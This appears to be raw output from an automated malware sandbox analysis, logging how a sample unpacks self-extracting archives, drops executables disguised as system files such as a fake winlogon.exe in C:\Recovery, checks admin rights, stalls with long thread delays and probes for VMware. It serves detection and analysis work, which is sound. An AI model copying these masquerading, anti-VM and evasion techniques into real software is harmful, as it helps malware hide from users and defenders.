Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Memory allocated: 12C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Memory allocated: 1B050000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Memory allocated: DD0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Memory allocated: 1A960000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Memory allocated: C80000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Memory allocated: 1A6E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Memory allocated: 1070000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Memory allocated: 1ADE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Memory allocated: 1190000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Memory allocated: 1AB50000 memory reserve \| memory write watch
Source: C:\Recovery\winlogon.exe	Memory allocated: FE0000 memory reserve \| memory write watch
Source: C:\Recovery\winlogon.exe	Memory allocated: 1AFB0000 memory reserve \| memory write watch
Source: C:\Recovery\winlogon.exe	Memory allocated: E50000 memory reserve \| memory write watch
Source: C:\Recovery\winlogon.exe	Memory allocated: 1A910000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Memory allocated: EB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Memory allocated: 1A8C0000 memory reserve \| memory write watch
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Memory allocated: 1480000 memory reserve \| memory write watch
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Memory allocated: 1B0E0000 memory reserve \| memory write watch
Source: C:\Recovery\winlogon.exe	Memory allocated: 21E0000 memory reserve \| memory write watch
Source: C:\Recovery\winlogon.exe	Memory allocated: 1A3C0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 599563	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 599452	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 599331	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 597297	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 597175	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\winlogon.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\winlogon.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\winlogon.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Window / User API: threadDelayed 3628			Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Window / User API: threadDelayed 2325			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\tnEMlbYs.log	Jump to dropped file
Source: C:\Recovery\winlogon.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\aEtIhTbg.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\vybNluDs.log	Jump to dropped file
Source: C:\Recovery\winlogon.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\WslZMRrk.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\MFrsFgjH.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\lKwWBiIK.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\TDfrhvdw.log	Jump to dropped file
Source: C:\Recovery\winlogon.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\LdxTVLQK.log	Jump to dropped file
Source: C:\Recovery\winlogon.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\tRVOBpwv.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\RAtJMMZA.log	Jump to dropped file
Source: C:\Recovery\winlogon.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rGzNBWQu.log	Jump to dropped file
Source: C:\Recovery\winlogon.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\BudDliLc.log	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe

Evasive API call chain: GetLocalTime,DecisionNodes

graph_3-24194

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_3-25436
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_0-25448

Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -599671s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -599563s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -599452s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -599331s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -99859s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -99750s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -99640s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -99531s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -99422s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -99312s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -99203s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -99094s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -98984s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -98875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -98765s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -98656s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -98547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -98437s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -98328s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -98219s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -98109s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -597297s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7308	Thread sleep time: -597175s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7188	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7804	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe TID: 7976	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe TID: 8012	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7564	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 2004	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Recovery\winlogon.exe TID: 7660	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Recovery\winlogon.exe TID: 7640	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe TID: 7988	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe TID: 1732	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Recovery\winlogon.exe TID: 8052	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Recovery\winlogon.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Recovery\winlogon.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Recovery\winlogon.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A2BA94 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_00A2BA94
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A3D420 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	0_2_00A3D420
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_0031BA94 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	3_2_0031BA94
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_0032D420 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	3_2_0032D420
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_0072A69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	4_2_0072A69B
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_0073C220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	4_2_0073C220

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe

Code function: 0_2_00A3F82F VirtualQuery,GetSystemInfo,

0_2_00A3F82F

Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 599563	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 599452	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 599331	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 99859	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 99750	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 99640	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 99531	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 99422	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 99312	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 99203	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 99094	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 98984	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 98875	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 98765	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 98656	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 98547	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 98437	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 98328	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 98219	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 98109	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 597297	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 597175	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\winlogon.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\winlogon.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\winlogon.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: work.exe, 00000003.00000003.1630533570.0000000002D5C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y.,
Source: dwartg.exe, 00000004.00000003.1628390760.0000000002E82000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y
Source: dwartg.exe, 00000004.00000003.1628390760.0000000002E82000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: winlogon.exe, 0000002B.00000002.1920928319.0000000012489000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: j+UFPM3BOJxQKOB5gZ/X7Q5EAj19YW05uZoOBTXGmKNgUQ43BT1J/xayB9uDgYSsWCsrymUwNpqQa25lw1kYql0f7KXZaAm5yXSvaxzpJdFIUOgoa85qsUCgb5A1B9t8Pv7oKDmQIMW1wLYDVooFo81h6LQIf5AvDfUFwo2B5tjjaE+LaCF4ol4oAmZfeGwv7EvFOrtDffFjGYtS/X3J6jTM/XnJgYT6WSMuqI90zkcHQait6+5IRBriPUFoO/8WszfDDXQQiF/LAat9MdjcWhxKAb1SCS0xng8FmrUEoHmpmAMOl1rDPYFGxJ9zVpvc7whHGuCLomzDYlonLXGAUluH4xHE/2ro4PRrYk4G0nG2fLRwehAMrY6MbwtFWcD/LEhMdQfjSXY2qFlqXgC826IDm5NsLbBePvgjtTFCbY0sTU5qOPty5OZoVQGTY1tGBkcTg4kViQT/fGV0cH4FIuXYPASmVT/juk87AZuC9MzdoFdTM+Wwzk3McyVrEinBqZ4KJHDac+0D25IAXJ+cjCeujSzdCTZP6yzpoolS+ASncOjQK9Lp2KJTCaXhdJrogMcoVZiUew8NFHCkL8hMTySHiQydSmMcTZhXTQNeYd1Dq/40mgmwZb1pwDyfgQqnYgOJ5Yn+hNb4amT0Cp+9p7lrx7pB4uJZoaznNZhkOgdGU5szMAAZymw7KGhNLSkvT8ezQxM8VszmcRAb//oimR/AlwgA2Y5lbgsNTCU7I+irW5I9Ed3EpaZSteHB8UgqTfZnxwenUrFvtyYSXRuS/T3t+1MxCgHGOLSUUC60qPQHOo01mkgw9GtLJYa7EtuNZylaxu0PA5NBsOLpQjBQcUeawrxzmDZbmGro8Pb2DoE2NWrEoNbh/EsoTUzOhhbFu3v743GLmYxA+lKRwczfan0wIrkYLR/aX8KeHqxnVDbNDSmfh3ojSWHov2G3UwxUCHriib7USFZYXQw2ZfIDKOJjqRjCahUIjoAYzyQSo/qBDk6lKAXBI8BsAaYAlr7t6agxG0DUK3kAGtflh4dGk5lq8hwLueGmhiOxqPD0S7wu0G2OjnIoOI0MEblNyT69AmGtaa3whIwOLx2ZHhtHzlw285YYojSwHWj/cn42iFYIpAxlbICCowO50qCvQIbbb19sC+lmy2haDc6b6A3kSY0a+Oc4i4Ek1t6mBjLtkXT0B5Ix17TF6nhFFHtq2hKJLI+xiE9VqcGk/g0HCNG/WPQYBw6HR8ZGBjtGRpOG72xPBndOpjKgJtksABqRGZq0shke43bcj23+US6M5HekYSK6zMgZVmeTCewNklO8jkjo9eBdwB0fsZwxgxbCkYDhrmiP7oVCtLfmxnjlaHxxN7IGJ60MtEPw0HKs52YMXpwyre7YFVMDGfIw4whhmqkBkExW9u